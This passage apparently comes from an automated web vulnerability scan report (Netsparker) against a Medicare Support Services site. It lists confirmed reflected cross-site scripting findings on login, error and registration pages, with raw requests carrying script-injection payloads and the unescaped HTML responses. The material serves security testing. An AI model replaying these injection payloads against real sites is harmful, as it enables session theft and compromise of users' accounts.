<tr><td align="center"><SPAN class="loginerrtx" style="font-size:13px"><B><img src='images/warning1.gif' align='middle'>&nbsp;&nbsp;'"--></style></script><script>netsparker(0x000388)</script></B></SPAN></td></tr>
<tr><td>&nbsp;</td></tr>
</table>

<!-- End Login Box -->
</td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>
- /mss/home/LoginPage.jsp

/mss/home/LoginPage.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/LoginPage.jsp?sMsg=Invalid+User+Id+or+Password&UId=%27%22..

Parameters

Parameter Type Value
sMsg GET Invalid User Id or Password
UId GET '"--></style></script><script>netsparker(0x000391)</script>
User_id POST '"--></style></script><script>alert(0x000391)</script>

Request

GET /mss/home/LoginPage.jsp?sMsg=Invalid+User+Id+or+Password&UId=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000391%29%3C%2Fscript%3E HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/LoginServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000R1mZZq_dapX-IlXmb35AmrR:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:39 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000VGCLbeIiJloVIXaS8brj3D8:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}
function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}
function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>

<link href="frontend.css" rel="stylesheet" type="text/css" />
</head>
<body onload="doOnload()" >
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td width="274" height="406" align="center" background="images/home_demo.jpg">
<table width="227" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="350">&nbsp;</td>
</tr>
<tr>
<td align="center" valign="top">&nbsp;</td>
</tr>
</table>
</td>
<td width="675" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
<!-- Start Login Box -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td bgcolor="#0f2c6f" style="border:thin #CCCCCC solid"><img src="images/heading_cl.gif" width="297" height="32" /></td>
</tr>
<tr>
<td height="100" background="images/bg_login.jpg" bgcolor="#003399">
<form name="frmLogin" method="post" action="/servlet/LoginServlet" onsubmit="return doVerify();" />
<table border="0" cellspacing="4" cellpadding="0">
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="right" class="logintx">USER ID: </td>
<td><input type="text" name="User_id" value="'"--></style></script><script>netsparker(0x000391)</script>" size="15" maxlength="10" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
<td align="center"><input type="submit" value="Login" name="btnLogin" size="15" style="font-size: 8pt; font-weight:normal" />
</td>
</tr>
</table>
<input type="hidden" name="screen">
<input type="hidden" name="userAgent">
<input type="hidden" name="WebMaster" value="">
</form>
</td>
</tr>
<tr><td height=90>&nbsp;</td></tr>
<tr><td align="center"><SPAN class="loginerrtx" style="font-size:13px"><B><img src='images/warning1.gif' align='middle'>&nbsp;&nbsp;Invalid User Id or Password</B></SPAN></td></tr>
<tr><td>&nbsp;</td></tr>
</table>

<!-- End Login Box -->
</td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>
- /mss/home/LoginPage.jsp

/mss/home/LoginPage.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/LoginPage.jsp?sMsg=Invalid+User+Id+or+Password&UId='%22--..

Parameters

Parameter Type Value
sMsg GET Invalid User Id or Password
UId GET '"--></style></script><script>alert(0x0003BC)</script>

Request

GET /mss/home/LoginPage.jsp?sMsg=Invalid+User+Id+or+Password&UId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0003BC)%3C/script%3E HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/LoginServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000H3mwBfwA-OtjgsZ_7-QfFUO:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:39 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=00003M2CunYL-wlCQouWsM8hrPx:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}
function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}
function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>

<link href="frontend.css" rel="stylesheet" type="text/css" />
</head>
<body onload="doOnload()" >
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td width="274" height="406" align="center" background="images/home_demo.jpg">
<table width="227" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="350">&nbsp;</td>
</tr>
<tr>
<td align="center" valign="top">&nbsp;</td>
</tr>
</table>
</td>
<td width="675" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
<!-- Start Login Box -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td bgcolor="#0f2c6f" style="border:thin #CCCCCC solid"><img src="images/heading_cl.gif" width="297" height="32" /></td>
</tr>
<tr>
<td height="100" background="images/bg_login.jpg" bgcolor="#003399">
<form name="frmLogin" method="post" action="/servlet/LoginServlet" onsubmit="return doVerify();" />
<table border="0" cellspacing="4" cellpadding="0">
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="right" class="logintx">USER ID: </td>
<td><input type="text" name="User_id" value="'"--></style></script><script>netsparker(0x0003BC)</script>" size="15" maxlength="10" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
<td align="center"><input type="submit" value="Login" name="btnLogin" size="15" style="font-size: 8pt; font-weight:normal" />
</td>
</tr>
</table>
<input type="hidden" name="screen">
<input type="hidden" name="userAgent">
<input type="hidden" name="WebMaster" value="">
</form>
</td>
</tr>
<tr><td height=90>&nbsp;</td></tr>
<tr><td align="center"><SPAN class="loginerrtx" style="font-size:13px"><B><img src='images/warning1.gif' align='middle'>&nbsp;&nbsp;Invalid User Id or Password</B></SPAN></td></tr>
<tr><td>&nbsp;</td></tr>
</table>

<!-- End Login Box -->
</td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>
- /mss/jsp/Recon/jsp/errorPage.jsp

/mss/jsp/Recon/jsp/errorPage.jsp CONFIRMED

https://www.medicare-solution.com/mss/jsp/Recon/jsp/errorPage.jsp?Msg='%22--%3E%3C/style%3E%3C/scrip..

Parameters

Parameter Type Value
Msg GET '"--></style></script><script>alert(0x0003E1)</script>

Request

GET /mss/jsp/Recon/jsp/errorPage.jsp?Msg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0003E1)%3C/script%3E HTTP/1.1
Referer: https://www.medicare-solution.com/mss/home/RegProfileJsp.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000woHQRAUPTb_421aWx867Wbu:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:40 GMT
Content-Type: text/html; charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<HEAD>


<META http-equiv="Content-Style-Type" content="text/css">
<link rel="stylesheet" type="text/css" href="/mss/jsp/Recon/theme/style.css">
<script src="/mss/jsp/Recon/script/scripts.js" language="javascript"></script>
<TITLE>Medicare-Solution Message</TITLE>
</HEAD>

<BODY leftmargin="0" topmargin="0">


<INPUT type="hidden" id="msgStr" value="'"--></style></script><script>netsparker(0x0003E1)</script>" />
<script language="javascript" >
top.needLogout = false;
if(top != self) {
var msg = document.getElementById("msgStr").value;
if (location.href.indexOf("home.jsp") != -1)
top.location.href = ERROR_PAGE + "?logged=true&Msg=" + msg;
else {
if (location.href.indexOf("?") != -1)
top.location.href = location.href + "?logged=true&Msg=" + msg;
else
top.location.href = location.href + "&logged=true&Msg=" + msg;
}
}
try{
window.history.next;
}catch(ex){
}
</script>

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td height="30" class="popHeading">'"--></style></script><script>netsparker(0x0003E1)</script></td> </tr></table></td>
</tr>
<tr>
<td height="5"></td>
</tr>
<tr>
<td height="5" align="center">Please contact our Help Desk
<br/>(877) 833-3499
<br/> Be sure to mention you are on the Medicare Support Services Website and the error you received.
</td>
</tr>
</table>
<hr/>
<center><a href="#" onclick="showHomePage();"><FONT size="+1">Home</FONT></a></center>
</BODY>
</html>
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET '"--></style></script><script>netsparker(0x0004C8)</script>
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
address1 POST '"--></style></script><script>alert(0x0004C8)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x0004C8%29%3C%2Fscript%3E&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000CgK5pmxuVl4pq_X7nFEQCqH:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:53 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x0004C8)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET '"--></style></script><script>netsparker(0x0004EB)</script>
city GET 3
state GET 3
zip GET 3
demouserid GET 3
address2 POST '"--></style></script><script>alert(0x0004EB)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x0004EB%29%3C%2Fscript%3E&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000Tn-U_D8ZoL0liq0CGFjmcoj:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:56 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
